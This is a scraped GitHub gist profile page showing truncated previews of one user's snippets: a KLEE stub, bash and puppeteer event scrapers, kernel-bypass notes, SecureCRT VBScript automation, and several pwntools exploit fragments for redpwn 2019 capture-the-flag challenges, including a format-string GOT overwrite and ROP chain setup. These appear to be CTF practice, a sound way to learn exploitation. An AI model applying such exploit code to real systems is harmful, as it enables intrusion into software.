Skip to content

Instantly share code, notes, and snippets.

View swt02026's full-sized avatar

LEE KUANTING swt02026

  • Sinopac Securities
View GitHub Profile
#include <assert.h>
#include <memory.h>
#include <klee/klee.h>
signed int sub_804858B(signed int a1, int a2)
{
signed int result; // eax
if ( a1 == a2 )
#!/usr/bin/env bash
touch nowKKTIX
cp nowKKTIX previousKKTIX
for i in `seq 1 1 50` ; do if ! curl -s https://kktix.com/events?page=$i | ~/go/bin/pup "li.clearfix h2 a[href] "; then break; fi; done | ~/go/bin/pup "a[href] json{}" | jq '.[] | "\(.href) ||| \(.text)"' | sort > nowKKTIX
diff nowKKTIX previousKKTIX | egrep '^<' > diff.txt
@swt02026
swt02026 / babyrop2.py
Created May 20, 2019 11:48
return to printf, and one_gadget
from pwn import *
context.log_level='debug'
elf = ELF('babyrop2')
libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000400733
from pwn import *
exit_got= 0x0804a020
r=remote('chall.2019.redpwn.net', 4003)
r.sendline(p32(exit_got)+p32(exit_got+1)+'%47c%7$hhn'+'%336c%8$hhn')
r.interactive()
import struct
from pwn import *
r=remote('chall2.2019.redpwn.net', 4004)
#r=process('/home/ubuntu/environment/bronze_ropchain')
#raw_input()
# Padding goes here
p = 'a'*(0x18 +4)
#p += struct.pack('<I', 0x080a8e86) # pop eax ; ret
from pwn import *
r=remote('chall2.2019.redpwn.net',4002)
gets=0x080483b0
system=0x0804b010
buf=0x0804a000
Kernel Bypass
作業系統層(user space觀察kernel space)
1. ebpf
2. dtrace
延伸應用
1. tcpdump
2. seccomp
網路方面
1. XDP(使用ebpf)
2. RDMA(Infiniband)
# $language = "VBScript"
# $interface = "1.0"
Sub Main()
Set myShell = CreateObject("WScript.Shell")
myShell.Run "notepad.exe"
crt.Sleep 500
myShell.SendKeys "%F"
crt.Sleep 500
myShell.SendKeys "^O"
# $language = "VBScript"
# $interface = "1.0"
Class FtpLoginInfo
Public userName
Public password
Public serverIp
Public Default Function Init(un, pw, ip)
userName = un
password = pw
const puppeteer = require('puppeteer');
for (const i of Array(50).keys()){
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto(`https://old.accupass.com/search/r/1/0/0/0/4/${i}/00010101/99991231`, {waitUntil: 'networkidle2'});
//await page.pdf({path: 'hn.pdf', format: 'A4'});
const all_of = await page.$$eval("h3", (nodes)=>nodes.map(node=>node.innerHTML));
console.log(all_of)